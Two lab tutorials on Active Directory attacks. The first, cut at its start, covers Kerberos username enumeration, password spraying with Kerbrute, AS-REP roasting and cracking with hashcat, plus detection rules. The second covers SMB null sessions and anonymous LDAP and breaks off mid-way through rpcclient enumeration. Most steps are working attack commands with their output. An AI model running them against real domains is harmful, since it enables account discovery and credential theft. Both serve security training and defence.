The reason this is so attractive operationally: the AS-REQ enumeration method does not validate credentials, so it does not increment badPwdCount, which means it does not lock accounts. You can churn through hundreds of thousands of candidate names and never trip a single lockout. And because failed pre-auth here is a Kerberos event, not an NTLM logon, it does not generate the classic Event ID 4625 (“An account failed to log on”) that blue teams traditionally watch.

The differential between 0x6 and 0x19 is the whole game. One unauthenticated request per candidate name converts a wordlist into a validated account roster.


Flowchart showing how a single unauthenticated AS-REQ produces four distinct KDC error codes that reveal account existence, pre-auth status, and roastability
The KDC’s differential error responses turn an unauthenticated AS-REQ into a precise account-state oracle with no credential required.

3. Lab Environment Setup

Build this in isolation. Three machines on a host-only 192.168.56.0/24 network so nothing leaks.

ComponentSpec
Domain ControllerWindows Server 2022 Evaluation, domain corplab.local, 192.168.56.10 (hostname DC01)
WorkstationWindows 10, domain-joined, 192.168.56.20
AttackerKali Linux 2024+, 192.168.56.100
Vulnerable accountssvc_backup (pre-auth disabled), jsmith (password Summer2024!), plus noise accounts
Lockout policyThreshold 5 attempts (so --safe actually matters)

After promoting DC01 to a domain controller for corplab.local, create the intentionally weak accounts. Run this in an elevated PowerShell on the DC.

# Create a normal user with a weak, sprayable password
New-ADUser -Name "John Smith" -SamAccountName jsmith `
  -UserPrincipalName jsmith@corplab.local `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true

# Create a service account and DISABLE Kerberos pre-authentication on it
New-ADUser -Name "svc_backup" -SamAccountName svc_backup `
  -UserPrincipalName svc_backup@corplab.local `
  -Path "OU=ServiceAccounts,DC=corplab,DC=local" `
  -AccountPassword (ConvertTo-SecureString "Pa55w0rd!" -AsPlainText -Force) `
  -Enabled $true
Set-ADAccountControl -Identity svc_backup -DoesNotRequirePreAuth $true

# Seed 10 noise accounts so enumeration has signal and noise
1..10 | ForEach-Object {
  New-ADUser -Name "noise$_" -SamAccountName "noise$_" `
    -AccountPassword (ConvertTo-SecureString "N0ise$_!extra" -AsPlainText -Force) `
    -Enabled $true
}
# (no output on success; verify below)
PS C:\> Get-ADUser svc_backup -Properties DoesNotRequirePreAuth | `
        Select Name, DoesNotRequirePreAuth

Name        DoesNotRequirePreAuth
----        ---------------------
svc_backup                   True

Setting DoesNotRequirePreAuth $true flips the DONT_REQ_PREAUTH bit (0x400000) in the account’s userAccountControl attribute. That single bit is what turns svc_backup from a normal account into an AS-REP roasting target. Audit your domain for it any time:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
svc_backup                      True

Finally, set a lockout threshold so the password-spray section teaches real lockout awareness:

Set-ADDefaultDomainPasswordPolicy -Identity corplab.local `
  -LockoutThreshold 5 -LockoutDuration 00:15:00 -LockoutObservationWindow 00:15:00
# (no output on success)

4. Kerbrute: Installation, Architecture, and Modes

Kerbrute is a Go tool written by Ronnie Flathers (@ropnop). It drives raw AS-REQ messages through the gokrb5 library, talking directly to the KDC on port 88 instead of routing username checks through slow SMB or LDAP. That direct path is what makes it fast and what keeps it off the NTLM logon-failure radar.

Grab a precompiled binary or build from source:

# Precompiled (fastest path)
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
chmod +x kerbrute
./kerbrute --version
Version: v1.0.3 (9cfb81e) - 06/30/24
# Or build from source if you want to read/modify it
git clone https://github.com/ropnop/kerbrute.git
cd kerbrute
make all
ls dist/
kerbrute_darwin_amd64   kerbrute_linux_386     kerbrute_windows_amd64.exe
kerbrute_linux_amd64    kerbrute_linux_arm64

Kerbrute exposes four sub-commands. Pick the one that matches your stage in the kill chain.

Sub-commandPurposeTouches lockout?
userenumEnumerate valid usernames via AS-REQ error differentialsNo
passwordsprayTest one password against many usersYes
bruteuserTest a wordlist against one userYes
bruteforceTest user:password combos from a file or stdinYes

Flags you will reach for repeatedly:

FlagPurpose
--dcTarget KDC / domain controller IP
-d / --domainFull domain name (corplab.local)
--hash-fileSave captured AS-REP hashes for pre-auth-disabled accounts
--downgradeForce RC4 (arcfour-hmac-md5) encryption downgrade
--safeAbort the run if any account is observed as locked
-tThread count (default 10)
-oWrite valid results to an output file

One warning that is not optional. userenum is safe against lockout because it validates nothing. passwordspray, bruteuser, and bruteforce submit real pre-auth attempts. Failed pre-auth counts as a failed logon and will lock accounts once you cross the threshold. Treat the active modes as live ammunition.


5. Hands-On: Username Enumeration

Enumeration first: confirm the KDC

Before firing names at it, prove the target is a domain controller exposing Kerberos and learn the domain name from the LDAP banner.

nmap -sV -p 88,389,445 192.168.56.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.56.10
Host is up (0.00042s latency).

PORT    STATE SERVICE       VERSION
88/tcp  open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-30 18:22:03Z)
389/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: corplab.local0., Site: Default-First-Site-Name)
445/tcp open  microsoft-ds?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Port 88 open and labelled kerberos-sec, and the LDAP banner leaks Domain: corplab.local. That is everything Kerbrute needs: a --dc and a -d.

Build the candidate wordlist

A good enumeration run is only as good as the names you feed it. Start from SecLists, then layer in organization-specific naming conventions (firstname.lastname, finitial+lastname, and so on) gleaned from OSINT.

cp /usr/share/seclists/Usernames/Names/names.txt ~/lab/names.txt
wc -l ~/lab/names.txt
10177 /usr/share/seclists/Usernames/Names/names.txt
# Generate convention-based candidates: first.last and flast
python3 namegen.py --first first_names.txt --last last_names.txt \
  --format '{first}.{last},{f}{last}' > ~/lab/corp_users.txt
wc -l ~/lab/corp_users.txt
1500 /usr/share/seclists/Usernames/Names/names.txt

Run userenum

./kerbrute userenum \
  --dc 192.168.56.10 \
  -d corplab.local \
  -t 50 \
  --hash-file asrep_hashes.txt \
  -o valid_users.txt \
  ~/lab/corp_users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9cfb81e) - 06/30/24 - Ronnie Flathers @ropnop

2024/06/30 14:22:01 >  Using KDC(s):
2024/06/30 14:22:01 >    192.168.56.10:88

2024/06/30 14:22:01 >  [+] svc_backup has no pre auth required. Dumping hash to crack offline:
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8
2024/06/30 14:22:01 >  [+] VALID USERNAME:   svc_backup@corplab.local
2024/06/30 14:22:01 >  [+] VALID USERNAME:   jsmith@corplab.local
2024/06/30 14:22:05 >  Done! Tested 1500 usernames (2 valid) in 3.521 seconds

Read that output carefully because it contains two distinct wins.

jsmith came back as a plain VALID USERNAME. Behind the scenes Kerbrute sent an AS-REQ, the KDC replied with 0x19 (PREAUTH_REQUIRED), and Kerbrute translated that into “this account exists.” That goes into valid_users.txt for the spray phase.

svc_backup did something more interesting. The KDC returned a full AS-REP instead of a pre-auth error, because the DONT_REQ_PREAUTH bit is set. Kerbrute recognized the account requires no pre-auth, extracted the encrypted blob, and dumped it as a $krb5asrep$23$ hash to asrep_hashes.txt. You enumerated a username and harvested a crackable credential in the same packet exchange.

Check the artifacts:

cat valid_users.txt && echo "---" && cat asrep_hashes.txt
svc_backup@corplab.local
jsmith@corplab.local
---
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8

The 23 in the hash is the encryption type: RC4-HMAC (etype 23). That maps directly to a hashcat mode, which we get to shortly.


Flow diagram tracing Kerbrute userenum from wordlist input through AS-REQ exchanges to two output artifacts: a valid users list and a captured AS-REP hash file
A single userenum run splits the wordlist into confirmed accounts and immediately harvests crackable AS-REP hashes for pre-auth-disabled accounts.

6. Hands-On: Password Spraying

Enumeration first: know the lockout policy

Spraying blind into an unknown lockout policy is how red teams get fired. Before you submit a single real pre-auth attempt, learn the threshold. With no credentials you can sometimes read the policy via null/guest SMB; in this lab assume you confirmed a threshold of 5.

The math is simple and unforgiving. With a threshold of 5 and a 15-minute observation window, you get at most a handful of attempts per account before lockout. One password tested across the whole user list is one failed attempt per account, which is safe. Two passwords in quick succession is two. Never let your spray cadence approach the threshold inside the observation window.

Run passwordspray with a safety net

Use only the confirmed usernames from valid_users.txt, not the raw wordlist, and add --safe so the run aborts the instant any account is observed locked.

./kerbrute passwordspray \
  --dc 192.168.56.10 \
  -d corplab.local \
  --safe \
  valid_users.txt \
  'Summer2024!'
2024/06/30 14:30:01 >  Using KDC(s):
2024/06/30 14:30:01 >    192.168.56.10:88

2024/06/30 14:30:01 >  [+] VALID LOGIN:   jsmith@corplab.local:Summer2024!
2024/06/30 14:30:03 >  Done! Tested 2 logins (1 successes) in 1.992 seconds

jsmith:Summer2024! is now a confirmed credential. Here the spray submitted a real PA-ENC-TIMESTAMP. For jsmith the KDC decrypted it successfully and issued a TGT, which Kerbrute reports as VALID LOGIN. For svc_backup the wrong password would have produced 0x18 (PREAUTH_FAILED) and incremented badPwdCount. That distinction is exactly what a defender hunts for, and we will weaponize it in detection.


7. Captured Hash Cracking: The AS-REP Roasting Pivot

The svc_backup hash from section 5 needs no spraying. It is an AS-REP blob encrypted with the account’s RC4 key, and you crack it offline with zero further interaction with the domain. This is AS-REP roasting, and DONT_REQ_PREAUTH is the precondition that made it possible.

Inspect the captured hash format first:

head -c 120 asrep_hashes.txt; echo
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...

The $krb5asrep$23$ prefix is hashcat mode 18200 (Kerberos 5 AS-REP, etype 23). Throw a wordlist at it.

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -O
$krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9e7b24f5a8c1d6e0f9b3a7c52$9e1f...c4d8:Pa55w0rd!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc_backup@CORPLAB.LOCAL:a3f1c0d9...c4d8
Time.Started.....: Sun Jun 30 14:35:12 2024 (4 secs)
Recovered........: 1/1 (100.00%) Digests
Speed.#1.........:  1843.2 MH/s (5.21ms)

John the Ripper works equally well:

john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD5 HMAC-SHA1 ...])
Pa55w0rd!        ($krb5asrep$svc_backup@CORPLAB.LOCAL)
1g 0:00:00:02 DONE (2024-06-30 14:36) 0.4761g/s ...
Use the "--show" option to display all of the cracked passwords reliably

svc_backup:Pa55w0rd! recovered. The lesson the brief hammers, and the reason hardening matters: if svc_backup had used a genuinely strong password, this RC4 blob would be effectively uncrackable by wordlist. Disabling pre-auth is dangerous, but a long random password makes the resulting hash worthless to an attacker.

Validate and pivot

Confirm the harvested credential works over SMB before building anything on it. NetExec (the maintained successor to CrackMapExec) is the cleanest check.

nxc smb 192.168.56.10 -u jsmith -p 'Summer2024!' -d corplab.local
SMB  192.168.56.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corplab.local) (signing:True) (SMBv1:False)
SMB  192.168.56.10  445  DC01  [+] corplab.local\jsmith:Summer2024!

The [+] confirms a valid authenticated session. Now you have an authenticated foothold, which unlocks full directory enumeration. Feed it straight into BloodHound to map attack paths.

bloodhound-python -u jsmith -p 'Summer2024!' -d corplab.local \
  -dc 192.168.56.10 -c All
INFO: Found AD domain: corplab.local
INFO: Connecting to LDAP server: DC01.corplab.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 14 computers
INFO: Connecting to GC LDAP server: DC01.corplab.local
INFO: Found 28 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Dumping data for domain corplab.local
INFO: Done in 00M 12S

You walked from zero credentials to a validated account, a cracked service hash, and a full graph of the domain. That is the entire point of starting with enumeration: every confirmed username compounds.


Illustration of a broken padlock with a glowing key emerging, symbolising offline AS-REP hash cracking
AS-REP roasting cracks credentials entirely offline – once the hash is captured, the domain controller is never contacted again.

8. Traffic Analysis

Understanding what Kerbrute puts on the wire makes both red-team OPSEC and blue-team detection concrete. Capture port 88 while a userenum run is live.

sudo tcpdump -i eth0 -w kerb_enum.pcap 'udp port 88 or tcp port 88'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C
2143 packets captured
2151 packets received by filter

Open the capture in Wireshark and isolate the KDC error responses. A Kerberos error message is msg_type 30 (KRB-ERROR), and the error_code field is the oracle.

# Wireshark display filter: all PRINCIPAL_UNKNOWN responses (invalid users)
kerberos.msg_type == 30 && kerberos.error_code == 6

A burst of error_code == 6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP, hundreds per second, is the unmistakable signature of username enumeration. Switch the filter to spot the valid hits:

# Valid accounts that required pre-auth (the 0x19 responses)
kerberos.msg_type == 30 && kerberos.error_code == 25
# Pre-auth-disabled accounts: a full AS-REP instead of an error
kerberos.msg_type == 11

msg_type 11 is AS-REP. Seeing a real AS-REP returned to an unauthenticated requester means an account with pre-auth disabled just leaked a roastable hash. On a Zeek sensor the same signal lives in kerberos.log, where error_msg == "PRINCIPAL_UNKNOWN" at high rate from one id.orig_h is the detection trigger.


9. Common Attacker Techniques

TechniqueDescription
AS-REQ username enumerationDifferentiate 0x6 vs 0x19 to validate accounts with no credentials and no lockout risk
AS-REP hash harvestingCapture full AS-REP for DONT_REQ_PREAUTH accounts during enumeration, crack offline
AS-REP roastingUse harvested $krb5asrep$23$ hashes with hashcat mode 18200 or John
Kerberos password sprayingSubmit one common password across the confirmed user list via passwordspray
Encryption downgradeForce RC4 with --downgrade so captured material uses the faster-cracking etype 23
Pivot to KerberoastingOnce authenticated, request service tickets for SPN accounts and crack those offline

The chain is what makes this dangerous, not any single step. Enumeration feeds spraying and roasting, which feed an authenticated foothold, which feeds BloodHound and Kerberoasting. Each link is cheap and quiet on its own.


10. Defensive Strategies and Detection

Detection here is entirely about the domain controller, because the attack never touches an endpoint until the pivot. The good news is the DC sees every AS-REQ. The catch is that the most useful event is off by default.

Relevant Event IDs (on the Domain Controller)

Event IDTriggerRelevance
4768TGT requested or granted (AS exchange)Fires on AS-REQ; watch a single source requesting TGTs for many distinct or non-existent users
4771Kerberos pre-authentication failedCarries the failure code, target username, client IP; the primary enumeration and spray signal
4625Generic NTLM logon failureDoes not fire for Kerberos enumeration; do not rely on it here

Event 4771 is disabled by default. Without it you are blind to the enumeration. Enable it through Group Policy:

Computer Configuration
  -> Windows Settings
    -> Security Settings
      -> Advanced Audit Policy Configuration
        -> Account Logon
          -> Audit Kerberos Authentication Service: Success and Failure

Failure-code correlation

The Failure Code field in Event 4771 is the same oracle the attacker reads, only from the defender’s side:

  • A cluster of 0x6 (KDC_ERR_C_PRINCIPAL_UNKNOWN) from one source IP in a short window is username enumeration. Real users do not generate PRINCIPAL_UNKNOWN storms.
  • A cluster of 0x18 (KDC_ERR_PREAUTH_FAILED) across many distinct TargetUserName values from one source is password spraying.

Sigma rule

title: Kerberos Username Enumeration via AS-REQ
status: experimental
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4771
    FailureCode: '0x6'          # KDC_ERR_C_PRINCIPAL_UNKNOWN
  timeframe: 30s
  condition: selection | count() by IpAddress > 20
fields:
  - EventID
  - TargetUserName
  - IpAddress
  - IpPort
  - FailureCode
  - PreAuthType
falsepositives:
  - Misconfigured applications cycling usernames
level: medium
tags:
  - attack.discovery
  - attack.t1087.002

Pair it with a second rule keyed on FailureCode: '0x18' grouped by distinct TargetUserName per source IP to catch the spray phase.

Endpoint and network telemetry

There is no direct Kerberos AS-REQ event in Sysmon because the protocol is network-level. You can still catch the tool with Sysmon Event ID 3 (Network Connection) when a non-DC host opens connections to port 88 from an unexpected process. On the network side, a Zeek sensor alerting on kerberos.log where error_msg == "PRINCIPAL_UNKNOWN" exceeds a per-source rate threshold gives you protocol-level coverage independent of Windows auditing. The underlying ETW provider for 4768/4771 is Microsoft-Windows-Security-Auditing.

Hardening

MitigationDescription
Enable pre-auth everywhereClear DONT_REQ_PREAUTH on all accounts; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Enable Kerberos auditingTurn on Audit Kerberos Authentication Service (Success + Failure) to generate 4771
Rate-limit port 88Segment and rate-limit KDC ports (around 10 requests/sec/source) at the firewall
Deploy canary accountsAny AS-REQ for a never-used honeypot username is a high-fidelity alert
Enforce strong passwordsLong random passwords make harvested AS-REP and Kerberoast hashes practically uncrackable
SIEM correlationAlert on >20 0x6 failures per source in 30s, and on 0x18 across many users per source

The single most important fix is closing the DONT_REQ_PREAUTH gap, because that is what converts harmless enumeration into a crackable credential. Pre-auth has been the default since Kerberos v5; any account missing it is a deliberate or accidental misconfiguration.


Illustration of a watchtower scanning a network, representing domain controller audit logging and SIEM alerting on Kerberos anomalies
Detection lives entirely on the domain controller – enabling Event 4771 and correlating error-code bursts is the only way to see username enumeration before it pivots to a spray.

11. Tools for Kerberos Attack Analysis

ToolDescriptionLink
KerbruteAS-REQ username enumeration, spray, brute via gokrb5github.com/ropnop/kerbrute
NetExecValidate credentials and enumerate SMB/LDAPgithub.com/Pennyw0rth/NetExec
HashcatCrack AS-REP hashes with mode 18200hashcat.net
John the RipperCrack krb5asrep hashesopenwall.com/john
BloodHoundMap AD attack paths post-footholdbloodhound.specterops.io
WiresharkDissect AS-REQ/AS-REP and KDC error codeswireshark.org
ZeekNetwork-level Kerberos logging (kerberos.log)zeek.org
nmapConfirm KDC, port 88, domain bannernmap.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.002Event 4771 0x6 clusters per source IP; Zeek PRINCIPAL_UNKNOWN rate
Brute Force: Password SprayingT1110.003Event 4771 0x18 across many users from one source
Brute Force: Password GuessingT1110.001Repeated 0x18 against a single account; rising badPwdCount
Steal or Forge Kerberos Tickets: AS-REP RoastingT1558.004AS-REP (msg_type 11) returned to unauthenticated client; audit DONT_REQ_PREAUTH
Steal or Forge Kerberos Tickets: KerberoastingT1558.003Spike in 4769 TGS requests for RC4 service tickets post-foothold

Summary

  • Kerberos pre-authentication is an account-existence oracle: the KDC answers 0x6 for unknown users and 0x19 for valid ones, so anyone who can reach port 88 can enumerate the domain with no credentials.
  • userenum does not validate credentials, so it never increments badPwdCount and never locks accounts, and it bypasses Event 4625 entirely.
  • Accounts with the DONT_REQ_PREAUTH bit (0x400000) return a full AS-REP during enumeration, handing the attacker a $krb5asrep$23$ hash to crack offline with hashcat mode 18200.
  • The active modes (passwordspray, bruteuser, bruteforce) submit real pre-auth attempts and will lock accounts; use --safe and respect the lockout threshold.
  • Detect it on the DC with Event 4771 (enable it first via Advanced Audit Policy), correlating 0x6 bursts for enumeration and 0x18 spreads for spraying, and shut the door by clearing DONT_REQ_PREAUTH and enforcing strong passwords.

Related Tutorials

References

Anonymous and Null-Session Enumeration: SMB, LDAP Anonymous Binds, and RID Cycling

You drop onto an internal subnet with a laptop, a network jack, and zero credentials. No phished password, no hash, nothing. Most beginners assume the engagement stalls right there. It doesn’t. A surprising number of domains will happily hand you their full user roster, group memberships, password policy, and share layout before you ever type a username. This is the quiet first move of nearly every internal assessment, and it leans on three primitives that have shipped with Windows since the NT days.

Objective: Understand precisely why SMB null sessions, LDAP anonymous binds, and RID cycling exist; how they chain together to turn zero credentials into a validated domain username list; how to reproduce all three against a controlled lab DC; and how a defender detects and eliminates every step.


1. Background: Why Unauthenticated Enumeration Still Works

Windows NT 4.0 and Windows 2000 were built on an assumption that internal networks were trusted. To let machines coordinate without a user logged in, the OS exposed an unauthenticated channel: the null session. A null session is an SMB connection to the hidden IPC$ share carrying empty credentials. Over that channel, services queried each other through MSRPC named pipes: who’s in this group, what’s the password policy, which shares exist. It was convenient and, for the threat model of 1999, acceptable.

It is not acceptable now, and Microsoft knows it. Windows Server 2003 changed LDAP so only authenticated users could issue directory requests. Server 2016 and later restrict null sessions out of the box. So why does this tutorial still matter? Because domains are upgraded, not rebuilt. A forest that started life on Server 2003 carries its legacy settings forward through every in-place upgrade. Add a vendor appliance that “requires anonymous LDAP,” a backup product that wants null-session share access, or an admin who flipped RestrictAnonymous to fix a printer in 2011 and never reverted it, and the old behavior is right back.

The intelligence you harvest from these channels is exactly what the next phase of an attack needs:

Harvested DataWhat It Enables
Domain SID and domain nameRID cycling, SID history forgery groundwork
Full username listPassword spraying, AS-REP roasting
Group membershipIdentifying Domain Admins, service-account owners
Password policy (lockout threshold, min length)Spray rate that avoids lockout
description fieldsPlaintext passwords and hints admins leave behind
Share listLoot hunting, GPP cpassword files

Enumeration is not a footnote before the “real” attack. It is the attack surface, and it shapes every decision that follows.


2. Lab Setup: Intentionally Vulnerable AD Target

Build this in isolated lab networking (host-only or an internal vSwitch). Never apply these settings to a domain that touches anything real.

Topology:

HostRoleAddress
DC01Windows Server 2022, domain lab.local10.10.10.10
kaliKali Linux 2024.x attacker10.10.10.50

Promote DC01 to a domain controller for lab.local, then deliberately re-enable the legacy behavior. Run this in an elevated PowerShell on the DC:

# Re-open anonymous access (DO NOT do this outside a lab)
$lsa = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
Set-ItemProperty -Path $lsa -Name RestrictAnonymous       -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name RestrictAnonymousSAM    -Value 0 -Type DWord
Set-ItemProperty -Path $lsa -Name EveryoneIncludesAnonymous -Value 1 -Type DWord

# Allow anonymous SID/Name translation (needed for RID cycling)
# GPO: Network access: Allow anonymous SID/Name translation -> Enabled
# (no output on success; verify with)
PS C:\> Get-ItemProperty $lsa | Select RestrictAnonymous,RestrictAnonymousSAM,EveryoneIncludesAnonymous

RestrictAnonymous RestrictAnonymousSAM EveryoneIncludesAnonymous
----------------- -------------------- -------------------------
                0                    0                         1

Enable LDAP anonymous bind by setting the 7th character of dsHeuristics to 2. Use ldifde from an elevated prompt on the DC:

# anonymousenum.ldf — set dsHeuristics char 7 to 2 (0000002 = positions 1-7)
@"
dn: CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=lab,DC=local
changetype: modify
replace: dsHeuristics
dsHeuristics: 0000002
-
"@ | Out-File anonymousenum.ldf -Encoding ascii
ldifde -i -f anonymousenum.ldf
Connecting to "DC01.lab.local"
Logging in as current user using SSPI
Importing directory from file "anonymousenum.ldf"
Loading entries.
1 entry modified successfully.
The command has completed successfully

Finally, populate the domain so enumeration returns something interesting: ten-plus users, groups for IT, HR, and Service Accounts, and at least one service account whose description holds a password hint. That last detail is not contrived; it is one of the most common real-world findings.

New-ADUser -Name "svc_sql" -SamAccountName svc_sql -Enabled $true `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Description "SQL service acct - temp pw Summer2024! rotate by Q3" `
  -Path "OU=ServiceAccounts,DC=lab,DC=local"

3. The IPC$ Named Pipe and SMB Null Session Internals

To exploit a null session you should understand what actually happens on the wire. SMB connection setup is a negotiation followed by a session setup followed by a tree connect.

  1. Negotiate Protocol – client and server agree on a dialect (SMB2/3).
  2. Session Setup – the client authenticates. In a null session, the client sends a SESSION_SETUP with an anonymous NTLMSSP token, no username, no password. The server issues an access token tied to the ANONYMOUS LOGON SID (S-1-5-7).
  3. Tree Connect – the client connects to a share. For a null session that share is IPC$.

IPC$ is special. It is not a disk share. It is the named-pipe filesystem, the doorway to MSRPC. Once connected to IPC$, a client opens a named pipe such as \PIPE\samr and binds to the RPC interface behind it. Each pipe fronts a different protocol:

Named PipeProtocolKey Calls Used in This Tutorial
\PIPE\samrMS-SAMRSamrEnumerateDomainsInSamServer, SamrEnumerateUsersInDomain, SamrLookupIdsInDomain, SamrRidToSid
\PIPE\lsarpcMS-LSADLsarQueryInformationPolicy, LsarLookupSids
\PIPE\srvsvcMS-SRVSNetShareEnum

When you run rpcclient enumdomusers, the client opens \PIPE\samr, calls SamrConnect, then SamrEnumerateDomainsInSamServer, SamrLookupDomainInSamServer, SamrOpenDomain, and finally SamrEnumerateUsersInDomain. The whole exchange happens with the anonymous token. Whether the server fulfills it depends entirely on the registry gates:

Registry ValueEffect
RestrictAnonymous = 0Open; full anonymous enumeration
RestrictAnonymous = 1Blocks most named enumeration, but some Win32 APIs still leak
RestrictAnonymous = 2Denies all anonymous IPC$ access (can break legacy apps)
RestrictAnonymousSAM = 1Specifically blocks anonymous SAM enumeration
EveryoneIncludesAnonymous = 1Anonymous token inherits Everyone-group access
NullSessionPipes / NullSessionSharesExplicit allow-lists that punch holes through restrictions

The critical takeaway: RestrictAnonymous=1 is not a complete fix. Even with it set, the SID/Name translation path (LsarLookupSids over \PIPE\lsarpc) can stay open if “Allow anonymous SID/Name translation” is enabled, which is exactly what makes RID cycling survive partial hardening.


Flowchart showing an anonymous SMB session setup connecting to IPC$ and branching into three named pipes: SAMR, LSARPC, and SRVSVC, each returning domain enumeration data
A single null session to IPC$ opens three MSRPC named pipes, each exposing a different slice of domain intelligence.

4. Recon: Confirming the Attack Surface

Before touching any enumeration tooling, confirm which doors are even open. A port scan tells you whether SMB and LDAP are reachable.

nmap -sV -p 139,445,389,636,3268,3269 10.10.10.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.10
Host is up (0.0011s latency).

PORT     STATE SERVICE       VERSION
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: lab.local)
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lab.local)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: lab.local)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: lab.local)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Ports 445 and 389 open on a host advertising Domain: lab.local says “domain controller.” Now confirm the null session actually works. NetExec (the maintained fork of CrackMapExec, invoked as nxc) is the fastest check.

nxc smb 10.10.10.10 -u '' -p ''
SMB  10.10.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB  10.10.10.10  445  DC01  [+] lab.local\: (Guest)

That [+] with an empty username is the green light: the server accepted an anonymous SMB session. Now test LDAP anonymous bind by reading the rootDSE, the one entry every DC exposes to anyone.

ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectClass=*)" \
  defaultNamingContext domainFunctionality dnsHostName ldapServiceName
# extended LDIF
dn:
defaultNamingContext: DC=lab,DC=local
dnsHostName: DC01.lab.local
ldapServiceName: lab.local:dc01$@LAB.LOCAL
domainFunctionality: 7

# search result
search: 2
result: 0 Success

-x forces simple authentication, and with no -D (bind DN) and no password it is an anonymous bind. Getting result: 0 Success and real attributes back means anonymous LDAP is wide open. The defaultNamingContext value, DC=lab,DC=local, is the base DN you will feed into every subsequent search. Reading rootDSE works even on hardened DCs, so it alone does not prove a misconfiguration; the next section’s user queries are the real proof.


5. Hands-On: SMB Null Session Enumeration

Start with shares. smbclient -L lists them over the null session (-N = no password, -U "" = empty user).

smbclient -N -U "" -L //10.10.10.10
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
        Backups         Disk      Nightly SQL exports
SMB1 disabled -- no workgroup available

A non-default share like Backups is worth a look later. For now, the prize is the RPC enumeration. Drop into an interactive rpcclient session over the null session and walk the SAMR and LSARPC calls by hand.

rpcclient -N -U "" 10.10.10.10
rpcclient $> lsaquery
Domain Name: LAB
Domain Sid: S-1-5-21-1004336348-1177238915-682003330

lsaquery issues LsarQueryInformationPolicy(PolicyAccountDomainInformation) over \PIPE\lsarpc. That domain SID, S-1-5-21-1004336348-1177238915-682003330, is the most valuable single string you will collect today. Hold onto it for Phase 4. Keep enumerating in the same session:

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[jsmith] rid:[0x44f]
user:[asmith] rid:[0x450]
user:[bwilliams] rid:[0x451]
user:[svc_sql] rid:[0x452]
user:[svc_backup] rid:[0x453]
user:[mjohnson] rid:[0x454]
user:[rpatel] rid:[0x455]
user:[lchen] rid:[0x456]
user:[helpdesk] rid:[0x457]

enumdomusers runs SamrEnumerateUsersInDomain. RIDs are shown in hex: 0x1f4 = 500 (Administrator), 0x1f6 = 502 (krbtgt), and the first real user jsmith is 0x44f = 1103. Continue with groups and policy:

rpcclient $> enumdomgroups
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[IT] rid:[0x458]
group:[HR] rid:[0x459]
group:[Service Accounts] rid:[0x45a]
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000001
        DOMAIN_PASSWORD_COMPLEX

getdompwinfo returns the password policy through SAMR. A minimum length of 7 with complexity on tells a sprayer that Welcome1 or Summer2024! are policy-valid guesses. Now the shares via \PIPE\srvsvc:

rpcclient $> netshareenum
netname: ADMIN$
        remark: Remote Admin
netname: Backups
        remark: Nightly SQL exports
netname: IPC$
        remark: Remote IPC
